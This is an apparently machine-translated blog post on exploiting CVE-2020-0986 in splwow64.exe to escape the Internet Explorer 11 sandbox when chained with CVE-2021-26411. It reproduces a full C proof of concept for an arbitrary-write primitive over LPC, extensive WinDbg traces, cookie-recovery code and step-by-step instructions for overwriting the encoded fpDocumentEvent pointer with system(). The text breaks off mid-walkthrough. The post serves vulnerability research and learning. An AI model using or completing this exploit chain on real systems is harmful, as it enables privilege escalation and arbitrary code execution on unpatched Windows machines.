Using CVE-2020-0986 to realize IE sandbox escape

💂   Personal homepage:   Your little sweet heart~_ CSDN blog
🤟   Update / learn tutorials / WEB Security / Intranet penetration / binary security / reverse engineering / and other articles every day. You can continue to pay attention to them
💬   If the article is helpful to you, welcome to follow, like, collect (one click three links) and subscribe to the column.
💅   If you have any questions, you are welcome to send a private letter and will reply in time!

preface

This article describes how to use CVE-2020-0986 to realize IE sandbox escape.

This article will not give a complete utilization code, but only share some vulnerability utilization ideas.

On April 30, 2021, Anheng Threat Intelligence Center released an article In depth analysis of CVE-2021-26411 IE browser UAF vulnerability , the principle and utilization process of this vulnerability are analyzed in detail. Finally, the article mentioned that "this IE vulnerability needs to be combined with a rights raising vulnerability in IE11 environment to realize code execution. At present, there is no disclosure of the rights raising vulnerability supporting this vulnerability". Therefore, for the purpose of research and learning, I read the speech of snow SDC in 2020 by referring to @iamelli0t master Escape IE sandbox: replay of 0Day vulnerability exploitation in the field , reproduced the right raising EXP of CVE-2020-0986, and realized IE 11 sandbox escape with CVE-2021-26411.

Vulnerability overview

CVE-2021-26411 has been described in detail in Anheng's article, which is not introduced here.

CVE-2020-0986 is an arbitrary pointer dereference vulnerability in the printer driver main process splwow64.exe in user mode. This vulnerability allows the use of arbitrary parameters to call the Memcpy function in the splwow64.exe process space, which actually implements a primitive for arbitrary address writing in the splwow64.exe process space. Because splwow64.exe is a whitelist process of IE rights raising policy, you can use IE code execution to start splwow64.exe process, and manipulate splwow64.exe process memory by sending specific LPC messages, so as to execute arbitrary code in splwow64.exe process and escape IE 11 sandbox.

POC

POC used in this analysis comes from google project zero.

#include <iostream>;
#include "windows.h";
#include "Shlwapi.h";
#include "winternl.h";
 
typedef struct _PORT_VIEW
{
        UINT64 Length;
        HANDLE SectionHandle;
        UINT64 SectionOffset;
        UINT64 ViewSize;
        UCHAR* ViewBase;
        UCHAR* ViewRemoteBase;
} PORT_VIEW, * PPORT_VIEW;
 
PORT_VIEW ClientView;
 
typedef struct _PORT_MESSAGE_HEADER {
        USHORT DataSize;
        USHORT MessageSize;
        USHORT MessageType;
        USHORT VirtualRangesOffset;
        CLIENT_ID ClientId;
        UINT64 MessageId;
        UINT64 SectionSize;
} PORT_MESSAGE_HEADER, * PPORT_MESSAGE_HEADER;
 
typedef struct _PORT_MESSAGE {
        PORT_MESSAGE_HEADER MessageHeader;
        UINT64 MsgSendLen;
        UINT64 PtrMsgSend;
        UINT64 MsgReplyLen;
        UINT64 PtrMsgReply;
        UCHAR Unk4[0x1F8];
} PORT_MESSAGE, * PPORT_MESSAGE;
 
PORT_MESSAGE LpcRequest;
PORT_MESSAGE LpcReply;
 
NTSTATUS(NTAPI* NtOpenProcessToken)(
        _In_ HANDLE ProcessHandle,
        _In_ ACCESS_MASK DesiredAccess,
        _Out_ PHANDLE TokenHandle
        );
 
NTSTATUS(NTAPI* ZwQueryInformationToken)(
        _In_ HANDLE TokenHandle,
        _In_ TOKEN_INFORMATION_CLASS TokenInformationClass,
        _Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation,
        _In_ ULONG TokenInformationLength,
        _Out_ PULONG ReturnLength
        );
 
NTSTATUS(NTAPI* NtCreateSection)(
        PHANDLE            SectionHandle,
        ACCESS_MASK        DesiredAccess,
        POBJECT_ATTRIBUTES ObjectAttributes,
        PLARGE_INTEGER     MaximumSize,
        ULONG              SectionPageProtection,
        ULONG              AllocationAttributes,
        HANDLE             FileHandle
        );
 
NTSTATUS(NTAPI* ZwSecureConnectPort)(
        _Out_ PHANDLE PortHandle,
        _In_ PUNICODE_STRING PortName,
        _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,
        _Inout_opt_ PPORT_VIEW ClientView,
        _In_opt_ PSID Sid,
        _Inout_opt_ PVOID ServerView,
        _Out_opt_ PULONG MaxMessageLength,
        _Inout_opt_ PVOID ConnectionInformation,
        _Inout_opt_ PULONG ConnectionInformationLength
        );
 
NTSTATUS(NTAPI* NtRequestWaitReplyPort)(
        IN HANDLE PortHandle,
        IN PPORT_MESSAGE LpcRequest,
        OUT PPORT_MESSAGE LpcReply
        );
 
 
int Init()
{
        HMODULE ntdll = GetModuleHandleA("ntdll");
 
        NtOpenProcessToken = (NTSTATUS(NTAPI*) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll, "NtOpenProcessToken");
        if (NtOpenProcessToken == NULL)
        {
                return 0;
        }
 
        ZwQueryInformationToken = (NTSTATUS(NTAPI*) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll, "ZwQueryInformationToken");
        if (ZwQueryInformationToken == NULL)
        {
                return 0;
        }
 
        NtCreateSection = (NTSTATUS(NTAPI*) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll, "NtCreateSection");
        if (NtCreateSection == NULL)
        {
                return 0;
        }
 
        ZwSecureConnectPort = (NTSTATUS(NTAPI*) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll, "ZwSecureConnectPort");
        if (ZwSecureConnectPort == NULL)
        {
                return 0;
        }
 
        NtRequestWaitReplyPort = (NTSTATUS(NTAPI*) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll, "NtRequestWaitReplyPort");
        if (NtRequestWaitReplyPort == NULL)
        {
                return 0;
        }
 
        return 1;
}
 
int GetPortName(PUNICODE_STRING DestinationString)
{
        void* tokenHandle;
        DWORD sessionId;
        ULONG length;
 
        int tokenInformation[16];
        WCHAR dst[256];
 
        memset(tokenInformation, 0, sizeof(tokenInformation));
        ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
 
        memset(dst, 0, sizeof(dst));
 
        if (NtOpenProcessToken(GetCurrentProcess(), 0x20008u, &tokenHandle)
                || ZwQueryInformationToken(tokenHandle, TokenStatistics, tokenInformation, 0x38u, &length))
        {
                return 0;
        }
 
        wsprintfW(
                dst,
                L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x",
                sessionId,
                tokenInformation[2],
                tokenInformation[3],
                0x2000);
        printf("name: %ls\n", dst);
        RtlInitUnicodeString(DestinationString, dst);
 
        return 1;
}
 
HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)
{
        HANDLE sectionHandle = 0;
        HANDLE portHandle = 0;
        union _LARGE_INTEGER maximumSize;
        maximumSize.QuadPart = 0x20000;
 
        if (0 != NtCreateSection(&sectionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) {
                return 0;
        }
        if (sectionHandle)
        {
                ClientView.SectionHandle = sectionHandle;
                ClientView.Length = 0x30;
                ClientView.ViewSize = 0x9000;
                int retval = ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL);
                if(retval){
                        return 0;
                }
        }
 
        return portHandle;
}
 
PVOID PrepareMessage()
{
        memset(&LpcRequest, 0, sizeof(LpcRequest));
        LpcRequest.MessageHeader.DataSize = 0x20;
        LpcRequest.MessageHeader.MessageSize = 0x48;
 
        LpcRequest.MsgSendLen = 0x88;
        LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
        LpcRequest.MsgReplyLen = 0x10;
        LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;
 
        memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
 
        *(UINT64*)ClientView.ViewBase = 0x6D00000000; //Msg Type (Document Event)
        *((UINT64*)ClientView.ViewBase + 3) = (UINT64)ClientView.ViewRemoteBase + 0x100; //First arg to FindPrinterHandle
        *((UINT64*)ClientView.ViewBase + 4) = 0x500000005;  // 2nd arg to FindPrinterHandle
        *((UINT64*)ClientView.ViewBase + 7) = 0x2000000001; //iEsc argument to DocumentEvent
        *((UINT64*)ClientView.ViewBase + 0xA) = (UINT64)ClientView.ViewRemoteBase + 0x800; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
        *((UINT64*)ClientView.ViewBase + 0xB) = (UINT64)ClientView.ViewRemoteBase + 0x840; //Destination of memcpy
        *((UINT64*)ClientView.ViewBase + 0x28) = (UINT64)ClientView.ViewRemoteBase + 0x160;
        *((UINT64*)ClientView.ViewBase + 0x2D) = 0x500000005;
        *((UINT64*)ClientView.ViewBase + 0x2E) = (UINT64)ClientView.ViewRemoteBase + 0x200;
        *((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
        *((UINT64*)ClientView.ViewBase + 0x100) = (UINT64)ClientView.ViewRemoteBase + 0x810;
        return ClientView.ViewBase;
}
 
void DebugWrite()
{
        printf("Copy from 0x%llX to 0x%llX (0x%llX bytes)\n", *((UINT64*)ClientView.ViewBase + 0x100), *((UINT64*)ClientView.ViewBase + 0xB), *((UINT64*)ClientView.ViewBase + 0x10A) >> 48);
}
 
bool WriteData(HANDLE portHandle, UINT64 offset, UCHAR* buf, UINT64 size)
{
        *((UINT64*)ClientView.ViewBase + 0xB) = offset;
        *((UINT64*)ClientView.ViewBase + 0x10A) = size << 48;
        memcpy(ClientView.ViewBase + 0x810, buf, size);
 
        DebugWrite();
 
        return NtRequestWaitReplyPort(portHandle, &LpcRequest, &LpcReply) == 0;
 
}
 
int main()
{
 
        Init();
        CHAR Path[0x100];
        GetCurrentDirectoryA(sizeof(Path), Path);
        PathAppendA(Path, "CreateDC.exe");
        if (!(PathFileExistsA(Path)))
        {
                return 0;
        }
        WinExec(Path, 0);
 
        CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL);
 
        UNICODE_STRING portName;
        if (!GetPortName(&portName))
        {
                return 0;
        }
 
        HANDLE portHandle = CreatePortSharedBuffer(&portName);
        if (!(portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))
        {
                return 0;
        }
 
        PrepareMessage();
 
        printf("Press [Enter] to continue . . .");
        fflush(stdout);
        getchar();
        UINT64 value = 0;
        if (!WriteData(portHandle, 0x4141414141414141, (UCHAR*)&value, 8))
        {
                return 0;
        }
 
        printf("Done\n");
 
        return 0;
}

POC analysis

A simple LPC communication has the following steps:

  1. Server specifies a port name and creates a port
  2. Server listens on the created port
  3. Port created by Client connection Server
  4. The Server accepts the Client connection request and completes the connection
  5. The Client sends the request message and waits for the Server response
  6. The Server accepts the request message and responds

In the process of LPC communication, if the message is large, the communication parties will exchange data in the way of shared memory area, but will coordinate and synchronize through the message.

The communication process of LPC is shown in the figure below (the picture comes from @iamelli0t master watching the speech PPT of snow SDC)

<img src="https://gitee.com/tianxuan-securitylab/source/raw/master/img/1623401452747.png" alt="1623401452747" style="zoom: 50%;" />

For more LPC related content, please refer to it by yourself. This article will not elaborate.

At present, it is known that after sending LPC message to splwow64.exe process through NtRequestWaitReplyPort, splwow64!TLPCMgr::ProcessRequest processes LPC messages, so splwow64!TLPCMgr::ProcessRequest disconnect.

0:009> bu splwow64!TLPCMgr::ProcessRequest
0:009> bu gdi32full!GdiPrinterThunk
0:009> g
Breakpoint 0 hit
splwow64!TLPCMgr::ProcessRequest:
00007ff7`0bf176ac 48895c2418      mov     qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90
0:007> r
rax=0000000000000000 rbx=0000000000d7ca90 rcx=0000000000d756f0
rdx=0000000000d7cac0 rsi=0000000000d7cac0 rdi=0000000000d786a0
rip=00007ff70bf176ac rsp=000000000279f3c8 rbp=0000000000b6a478
 r8=000000000279f328  r9=0000000000b6a478 r10=0000000000000000
r11=0000000000000244 r12=000000007ffe03b0 r13=000000000000022c
r14=0000000000d78778 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
splwow64!TLPCMgr::ProcessRequest:
00007ff7`0bf176ac 48895c2418      mov     qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90

rdx=0000000000d7cac0 is LpcRequest

IDA disassembly TLPCMgr::ProcessRequest

  windbg debug the code shown in the figure above

0:007>
splwow64!TLPCMgr::ProcessRequest+0x6e:
00007ff7`0bf1771a 66833f20        cmp     word ptr [rdi],20h ds:00000000`00d7cac0=0020
0:007>
splwow64!TLPCMgr::ProcessRequest+0x72:
00007ff7`0bf1771e 418bef          mov     ebp,r15d
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x75:
00007ff7`0bf17721 418bdf          mov     ebx,r15d
0:007>
splwow64!TLPCMgr::ProcessRequest+0x78:
00007ff7`0bf17724 41be57000000    mov     r14d,57h
0:007>
splwow64!TLPCMgr::ProcessRequest+0x7e:
00007ff7`0bf1772a 7523            jne     splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0]
0:007>
splwow64!TLPCMgr::ProcessRequest+0x80:
00007ff7`0bf1772c 4d397d48        cmp     qword ptr [r13+48h],r15 ds:00000000`00d75738={GDI32!GdiPrinterThunk (00007ffa`c8e48eb0)} //Judge GDI32!GdiPrinterThunk pointer
0:007>
splwow64!TLPCMgr::ProcessRequest+0x84:
00007ff7`0bf17730 741d            je      splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x86:
00007ff7`0bf17732 8b5f28          mov     ebx,dword ptr [rdi+28h] ds:00000000`00d7cae8=00000088
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x89:
00007ff7`0bf17735 8d43f0          lea     eax,[rbx-10h]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x8c:
00007ff7`0bf17738 3defff0f00      cmp     eax,0FFFEFh
0:007> r eax
eax=78
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x91:
00007ff7`0bf1773d 0f8737030000    ja      splwow64!TLPCMgr::ProcessRequest+0x3ce (00007ff7`0bf17a7a) [br=0]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x97:
00007ff7`0bf17743 8bcb            mov     ecx,ebx
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x99:
00007ff7`0bf17745 e8de430000      call    splwow64!operator new[] (00007ff7`0bf1bb28)
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x9e:
00007ff7`0bf1774a 488bf0          mov     rsi,rax
0:007> r
rax=0000000000d785e0 rbx=0000000000000088 rcx=000000007ffe0380
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000d7cac0
rip=00007ff70bf1774a rsp=000000000279f2e0 rbp=0000000000000000
 r8=0000000000000000  r9=0000000000000001 r10=0000000000d70000
r11=000000000279f250 r12=00007ff70bf22048 r13=0000000000d756f0
r14=0000000000000057 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
splwow64!TLPCMgr::ProcessRequest+0x9e:
00007ff7`0bf1774a 488bf0          mov     rsi,rax

The above code mainly does three things: first judge whether LpcRequest.MessageHeader.DataSize is 0x20, and then judge gdi32! If the GdiPrinterThunk function pointer exists, if it all exists, fetch the value of LpcRequest.MsgSendLen to 0x88 EBX and then call splwow64!operator new allocates a memory space of 0x88 in the splwow64.exe process space. Next, we call this space InputBuffer.

Continue to look at IDA's disassembly code

Firstly, copy the data from the shared memory used by LPC communication to the InPutBuffer, then take out the value of LpcRequest.PtrMsgReply to v9, then take out the value of LpcRequest.MsgReplyLen to v10, and finally take out the value of LpcRequest.MessageHeader.MessageType to v11. Next, judge the values of v11 and v12. Here, the judgment results of v11 and v12 will affect whether the program flow enters the vulnerable function. Because the values of v11 and v12 are obtained from LpcRequest, we can control LpcRequest to let the program follow our expected process, that is, enter gdi32!GdiPrinterThunk function, in gdi32! Gdi32full in gdiprinterthunk! Gdiprinterthunk function.

windbg debug the above code

0:007> p
splwow64!TLPCMgr::ProcessRequest+0xa1:
00007ff7`0bf1774d eb30            jmp     splwow64!TLPCMgr::ProcessRequest+0xd3 (00007ff7`0bf1777f)
0:007>
splwow64!TLPCMgr::ProcessRequest+0xd3:
00007ff7`0bf1777f 4885f6          test    rsi,rsi
0:007>
splwow64!TLPCMgr::ProcessRequest+0xd6:
00007ff7`0bf17782 0f84eb020000    je      splwow64!TLPCMgr::ProcessRequest+0x3c7 (00007ff7`0bf17a73) [br=0]
0:007>
splwow64!TLPCMgr::ProcessRequest+0xdc:
00007ff7`0bf17788 4c8b4730        mov     r8,qword ptr [rdi+30h] ds:00000000`00d7caf0=0000000000d20000
0:007>
splwow64!TLPCMgr::ProcessRequest+0xe0:
00007ff7`0bf1778c 488bce          mov     rcx,rsi
0:007>
splwow64!TLPCMgr::ProcessRequest+0xe3:
00007ff7`0bf1778f 8bd3            mov     edx,ebx
0:007>
splwow64!TLPCMgr::ProcessRequest+0xe5:
00007ff7`0bf17791 448bcb          mov     r9d,ebx
0:007>
splwow64!TLPCMgr::ProcessRequest+0xe8:
00007ff7`0bf17794 ff1506720000    call    qword ptr [splwow64!_imp_memcpy_s (00007ff7`0bf1e9a0)] ds:00007ff7`0bf1e9a0={msvcrt!memcpy_s (00007ffa`c8fcd0e0)}
0:007> r
rax=0000000000d785e0 rbx=0000000000000088 rcx=0000000000d785e0
rdx=0000000000000088 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ff70bf17794 rsp=000000000279f2e0 rbp=0000000000000000
 r8=0000000000d20000  r9=0000000000000088 r10=0000000000d70000
r11=000000000279f250 r12=00007ff70bf22048 r13=0000000000d756f0
r14=0000000000000057 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
splwow64!TLPCMgr::ProcessRequest+0xe8:
00007ff7`0bf17794 ff1506720000    call    qword ptr [splwow64!_imp_memcpy_s (00007ff7`0bf1e9a0)] ds:00007ff7`0bf1e9a0={msvcrt!memcpy_s (00007ffa`c8fcd0e0)}

rcx, rdx, r8 and r9 are memcpy respectively_ The four parameters of S, rcx points to InputBuffer, and rdx and r9 are size.

r8 points to shared memory for LPC communication

  Data copied to InputBuffer

0:007> p
splwow64!TLPCMgr::ProcessRequest+0xee:
00007ff7`0bf1779a 4c8b6740        mov     r12,qword ptr [rdi+40h] ds:00000000`00d7cb00=0000000000d20088
0:007> dq rcx l11
00000000`00d785e0  0000006d`00000000 00000000`00000000
00000000`00d785f0  00000000`00000000 00000000`00d20100
00000000`00d78600  00000005`00000005 00000000`00000000
00000000`00d78610  00000000`00000000 00000020`00000001
00000000`00d78620  00000000`00000000 00000000`00000000
00000000`00d78630  00000000`00d20800 41414141`41414141
00000000`00d78640  00000000`00000000 00000000`00000000
00000000`00d78650  00000000`00000000 00000000`00000000
00000000`00d78660  00000000`00000000

Then assign values to v9, v10 and v11

0:007> r rdi
rdi=0000000000d7cac0 //PORT_MESSAGE
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xee:
00007ff7`0bf1779a 4c8b6740        mov     r12,qword ptr [rdi+40h]
//r12 is V9 = PtrMsgReply ds:00000000`00d7cb00=0000000000d20088
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xf2:
00007ff7`0bf1779e 448b7738        mov     r14d,dword ptr [rdi+38h]
//r14d is v10 = MsgReplyLen ds:00000000`00d7caf8=00000010
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xf6:
00007ff7`0bf177a2 0fb75f04        movzx   ebx,word ptr [rdi+4] ds:00000000`00d7cac4=0001
//ebx = v11 = MessageType
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xfa:
00007ff7`0bf177a6 488b0d9ba80000  mov     rcx,qword ptr [splwow64!WPP_GLOBAL_Control (00007ff7`0bf22048)] ds:00007ff7`0bf22048={splwow64!WPP_MAIN_CB (00007ff7`0bf22708)}
0:007> r
rax=0000000000000000 rbx=0000000000000001 rcx=0000000000d785e0
rdx=fffffffffffa7a20 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ff70bf177a6 rsp=000000000279f2e0 rbp=0000000000000000
 r8=0000000000000000  r9=0000000000000000 r10=0000000000d70000
r11=0000000000d785e0 r12=0000000000d20088 r13=0000000000d756f0
r14=0000000000000010 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
splwow64!TLPCMgr::ProcessRequest+0xfa:
00007ff7`0bf177a6 488b0d9ba80000  mov     rcx,qword ptr [splwow64!WPP_GLOBAL_Control (00007ff7`0bf22048)] ds:00007ff7`0bf22048={splwow64!WPP_MAIN_CB (00007ff7`0bf22708)}

After a series of judgments, the program finally entered gdi32full!GdiPrinterThunk, and the three parameters passed in are: InputBuffer, PtrMsgReply and MsgReplyLen.

0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1ec:
00007ff7`0bf17898 458bc6          mov     r8d,r14d
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1ef:
00007ff7`0bf1789b 498bd4          mov     rdx,r12
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1f2:
00007ff7`0bf1789e 488bce          mov     rcx,rsi
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1f5:
00007ff7`0bf178a1 ff15e9720000    call    qword ptr [splwow64!_guard_dispatch_icall_fptr (00007ff7`0bf1eb90)] ds:00007ff7`0bf1eb90={ntdll!LdrpDispatchUserCallTarget (00007ffa`c946c590)}
0:007> r
rax=00007ffac8e48eb0 rbx=0000000000000000 rcx=0000000000d785e0
rdx=0000000000d20088 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ff70bf178a1 rsp=000000000279f2e0 rbp=0000000000000000
 r8=0000000000000010  r9=0000000000000000 r10=0000000000d70000
r11=0000000000d785e0 r12=0000000000d20088 r13=0000000000d756f0
r14=0000000000000010 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
splwow64!TLPCMgr::ProcessRequest+0x1f5:
00007ff7`0bf178a1 ff15e9720000    call    qword ptr [splwow64!_guard_dispatch_icall_fptr (00007ff7`0bf1eb90)] ds:00007ff7`0bf1eb90={ntdll!LdrpDispatchUserCallTarget (00007ffa`c946c590)}
..................................................
0:007> p
ntdll!LdrpDispatchUserCallTarget+0x7:
00007ffa`c946c597 4c8bd0          mov     r10,rax
0:007> ln rax
Browse module
Clear breakpoint 2
 
(00007ffa`c8e48eb0)   GDI32!GdiPrinterThunk   |  (00007ffa`c8e48ebc)   GDI32!_imp_load_GdiProcessSetup
Exact matches:
0:007> p
ntdll!LdrpDispatchUserCallTarget+0xa:
00007ffa`c946c59a 49c1ea09        shr     r10,9
0:007>
ntdll!LdrpDispatchUserCallTarget+0xe:
00007ffa`c946c59e 4f8b1cd3        mov     r11,qword ptr [r11+r10*8] ds:00007ff5`d81a9238=8888888888888888
0:007>
ntdll!LdrpDispatchUserCallTarget+0x12:
00007ffa`c946c5a2 4c8bd0          mov     r10,rax
0:007> ln rax
Browse module
Clear breakpoint 2
 
(00007ffa`c8e48eb0)   GDI32!GdiPrinterThunk   |  (00007ffa`c8e48ebc)   GDI32!_imp_load_GdiProcessSetup
Exact matches:
.............................................
0:007> p
Breakpoint 1 hit
gdi32full!GdiPrinterThunk:
00007ffa`c71a59b0 48895c2410      mov     qword ptr [rsp+10h],rbx ss:00000000`0279f2e8=0000000000d785e0
0:007> r
rax=00007ffac8e48eb0 rbx=0000000000000000 rcx=0000000000d785e0
rdx=0000000000d20088 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ffac71a59b0 rsp=000000000279f2d8 rbp=0000000000000000
 r8=0000000000000010  r9=0000000000000000 r10=00000fff591c91d7
r11=8888888888888888 r12=0000000000d20088 r13=0000000000d756f0
r14=0000000000000010 r15=0000000000000000
iopl=0         nv up ei pl nz na po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000207
gdi32full!GdiPrinterThunk:
00007ffa`c71a59b0 48895c2410      mov     qword ptr [rsp+10h],rbx ss:00000000`0279f2e8=0000000000d785e0

Enter gdi32full! After gdiprinterthunk function, get the index value first, because different index values will be processed by different functions. The index value is DWORD at InputBuffer+0x4.

The following is the processing function we expect to enter. It can be seen that when fun_ If the index is 0x6D, we can enter the desired code block.

Before entering the code Memcpy that triggers the vulnerability, four if judgments and a Decode function are required.

The values of these four if judgments can be directly or indirectly controlled by us, so the program will eventually come to the vulnerability function Memcpy, and the three parameters: destination address, source address and size can be controlled by us. Therefore, a Write What Where Primitive in splwow64 process space is implemented here. The Decode function is used to Decode the DocumentEvent pointer of Encode, that is, to Decode the fpDocumentEvent pointer to obtain the real function pointer.

0:007>
gdi32full!GdiPrinterThunk+0x2ac:
00007ffa`c71a5c5c 488b0d85d51300  mov     rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=7ec611be0000fff5
0:007> p
gdi32full!GdiPrinterThunk+0x2b3:
00007ffa`c71a5c63 48ff1536960a00  call    qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)}
0:007> p
gdi32full!GdiPrinterThunk+0x2ba:
00007ffa`c71a5c6a 0f1f440000      nop     dword ptr [rax+rax]
0:007> ln rax
Browse module
Set bu breakpoint
 
(00007ffa`b1328f80)   WINSPOOL!DocumentEvent   |  (00007ffa`b132939c)   WINSPOOL!CallDrvDocumentEvent
Exact matches:
    WINSPOOL!DocumentEvent (void)
0:007>
gdi32full!GdiPrinterThunk+0x1fd4a:
00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)
0:007> r
rax=0000000000d20800 rbx=0000000000d20160 rcx=4141414141414141
rdx=0000000000d20810 rsi=0000000000d20088 rdi=0000000000d785e0
rip=00007ffac71c56fa rsp=000000000279f210 rbp=000000000279f279
 r8=0000000000000008  r9=0000000000000100 r10=00000fff5920c6c0
r11=000000000279f0e0 r12=0000000000000000 r13=0000000000000001
r14=0000000000000010 r15=0000000000000000
iopl=0         nv up ei ng nz ac po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
gdi32full!GdiPrinterThunk+0x1fd4a:
00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)

Exploit vulnerability

Through the above analysis of POC, we get the following information.

  1. We can freely construct the LPC message passed into the splwow64.exe process, so we can control the program flow and go to the DocumentEvent function every time.
  2. We have a primitive written at any address.

reference resources Kaspersky According to the analysis article, we know that the fpDocumentEvent function pointer is an encoded value, and the value obtained by each encoding is different, depending on the current Cookie value.

__int64 __fastcall RtlEncodePointer(__int64 a1)
{
  __int64 v1; // rax
  __int64 v2; // rbx
  unsigned int v4; // eax
  unsigned int v5; // [rsp+48h] [rbp+10h]
 
  v1 = (unsigned int)`RtlpGetCookieValue'::`2'::CookieValue;
  v2 = a1;
  if ( !`RtlpGetCookieValue'::`2'::CookieValue )
  {
    v4 = NtQueryInformationProcess(-1i64, 36i64, &v5);
    if ( (v4 & 0x80000000) != 0 )
      RtlRaiseStatus(v4);
    v1 = v5;
    `RtlpGetCookieValue'::`2'::CookieValue = v5;
  }
  return __ROR8__(v2 ^ v1, v1 & 0x3F);
}

In splwow64.exe, each time DocumentEvent is executed, fpDocumentEvent is decoded to obtain the original DocumentEvent function pointer, and then called. fpDocumentEvent is located in the. data section of splwow64.exe process, that is, the offset of fpDocumentEvent pointer is determined.

At the same time, we know the fact that the randomization of address space layout on Windows system is based on boot, that is, after the system is started, the base address of the system DLL will not change until the next system restart. Therefore, by manually loading gdi32full.dll in EXP, we can know the actual address of the current fpDocumentEvent pointer.

The idea of vulnerability exploitation is to use the primitive written at any address to replace the fpDocumentEvent function pointer with the function pointer we want to call, such as the system function pointer. Because the DocumentEvent function will be called every time in the case of a specific index value, when we replace it successfully, the actually called function is system.

Vulnerability exploitation steps:

  1. In the debugging environment, determine the pointer offset of fpDocumentEvent function, which is called fpDocOffset here.

  2. In the exploit program, manually load gdi32full.dll and winspool.drv to obtain the BaseAddress and DocumentEvent function pointers of gdi32full.dll respectively.

  3. Send an LPC message to splwow64.exe to obtain the fpDocumentEvent function pointer at BaseAddress+fpDocOffset address.

  4. At present, we have obtained the fpDocumentEvent function pointer and DocumentEvent function pointer, that is, the function pointer before and after coding, so we can calculate the Cookie value used for coding. The calculation formula is as follows. (from @iamelli0t master watching snow SDC's speech PPT)

UINT64 CalcCookie(UINT64 encodePtr, UINT64 decodePtr)
{
    UINT cookie = 0;
    for (UINT i = 0; i <= 0x3f; i++)
    {
        cookie = (UINT)decodePtr ^ __ROL8__(encodePtr, i & 0x3F);
        if ((cookie & 0x3f) == i && __ROR8__(decodePtr ^ cookie, cookie & 0x3f) == encodePtr) {
            break;
        }
    }
    return cookie;
}

5. The Cookie value obtained in step 4 encodes the system function pointer. Here, we call the encoded value fpSystem. The encoding formula is as follows. (from Kaspersky (blog)

UINT64 encodePtr = __ROR8__(cookie ^ (UINT64)systemAdd, cookie & 0x3f);

6. Continue to send LPC messages and fill the fpSystem function pointer to the BaseAddress+fpDocOffset address through shared memory.

seven   Finally, send the LPC message with a specific index value again, and include the parameters of the system function in the LPC message.

Let's look at the specific process through debugging

1. Obtain fpDocumentEvent function pointer from splwow64.exe process space to shared memory

0:006>
gdi32full!GdiPrinterThunk+0x2ac:
